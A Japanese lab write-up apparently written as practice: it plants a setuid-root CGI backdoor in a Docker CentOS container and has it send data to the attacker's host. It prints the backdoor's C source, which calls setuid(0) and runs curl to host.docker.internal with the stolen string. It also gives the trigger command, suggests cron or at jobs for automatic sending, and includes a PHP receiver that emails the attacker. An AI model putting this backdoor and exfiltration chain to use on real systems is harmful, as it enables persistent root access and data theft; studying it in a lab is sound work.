ホスト-コンテナ間でバックドア設置の簡単実験
概要
練習がてらで、ホストと docker によって構築したコンテナとの間で、簡単なバックドアの設置、および情報送信の簡単な実験を行う。
ホストとコンテナの概要
ホスト : macOS Catalina 10.15.7(攻撃者の環境) コンテナ : CentOS8(攻撃対象の環境)
シナリオ
- 攻撃者が何かしらの手段で、攻撃対象の環境に侵入成功、バックドアを設置した。
- バックドアでは、setuid(0) にし、root 権限で実行される(重要な機微情報を不正取得など)。
- バックドアは自ら、不正取得した機微情報を攻撃者の環境に情報送信。
- 攻撃者の環境では、バックドアから受信したら、自動的に攻撃者にメール送信。
使う技術の整理
コンテナからホストへの通信
$ curl http://host.docker.internal:[port]
説明:「http://host.docker.internal:」部分は固定で、[port]は、ホスト側の受信ポート。
なお、コンテナから自身への通信する場合は、
$ curl http://[コンテナID]:[コンテナ側port]
例えば、私の macOC 上に構築したコンテナの場合は、以下のようになっている
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES af6b538f8bee centos:centos8 "/sbin/init" 5 months ago Up 10 hours 0.0.0.0:80->8080/tcp centos8
ため、次のように、コンテナから自身の 8080 ポートにアクセスできる
$ curl http://af6b538f8bee:8080 <html> <body> Hello, World! </body> </html>
同じ結果を、ホストから次のようにアクセスして取得できる
$ curl http://localhost[:80] <html> <body> Hello, World! </body> </html>
なぜならば、ホストとコンテナ間は、「ホスト側のポート番号 -> コンテナ内のポート番号」には、以下のようになっている、つまり
0.0.0.0:80->8080/tcp
ホストから 80 ポートへのアクセスをコンテナの 8080 ポートにマッピングする意味。
実験の詳細
バックドアの設置
攻撃対象の環境に web server が起動され、cgi プログラムが利用可能と仮定する。また、攻撃者が以前不正侵入した時に、以下のような cgi プログラムを設置したと仮定する。
$ ls -la /usr/share/nginx/cgi-bin/.exploit -rwsr-xr-x 1 root root 12856 4月 11 00:26 /usr/share/nginx/cgi-bin/.exploit
上から、.exploit の cgi プログラムの以下のことが見て分かる
- 所有者が root
- 実行する際に、所有者 root の権限で実行することが可能になる(rwsr-xr-x)
上記 .exploit プログラムのソースコード(実験のため、簡易的ものになっている)
vim /usr/share/nginx/cgi-bin/.exploit.c
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); char buf[1024]; // 実験のため、簡易的に // root権限で何かしら重要な機微情報を不正取得 char *info = "This%20is%20very%20sensitive%20personal%20informations"; snprintf(buf, 1024, "curl http://host.docker.internal:[port]/[受信プログラム]?msg=%s", info); system(buf); }
※buf に入れる文字列は一部加工している(実際のプログラムとは異なる)
※port : ホスト側で httpd の待受(LISTEN)ポート番号
バックドアからの情報送信
攻撃者の環境(ホスト)から、攻撃対象の環境(コンテナ)にあるバックドアにアクセス(遠隔操作)する
$ curl http://localhost[:80]/cgi-bin/.exploit
この例は、ホスト側からのキックでバックドアに情報送信させるが、攻撃対象の環境の外から内への通信 が遮断されることを想定し、攻撃者は予めバックドアから自動送信できるよう、root ユーザで at や crontab などで定期ジョブを仕込んで、コンテナ内で cgi プログラムを実施し、ホストに情報送信する可能性も考えられる。
攻撃者への自動メール送信
バックドアからの情報受信ができたら、後は攻撃者が好きのようにできる。今回の実験では、攻撃者に自動メール送信することにした。以下が情報受信と自動メール送信を一緒にしたプログラムの例。
実験のため、文字列のエンコード等の処理は省いている。
$ cat blackhole.php <?php $msg = "待機中"; if (isset($_REQUEST['msg'])) { $msg = $_REQUEST['msg']; } // send mail mb_language("Japanese"); mb_internal_encoding("UTF-8"); $to = "xxxxx@yyyyy.com"; <= ダミーデータ $title = "情報あり!"; $message = "[$msg]"; $headers = "From: backdoor@centos8"; if (mb_send_mail($to, $title, $message, $headers)) { echo "Send mail succeed"; } else { echo "Send mail failed"; } ?>
実験の結果
シナリオ通りに、攻撃対象の環境(コンテナ)から情報が送信され、攻撃者の環境(ホスト)が受信し、攻撃者の元にメールが自動送信される実験結果が確認できた。
以上。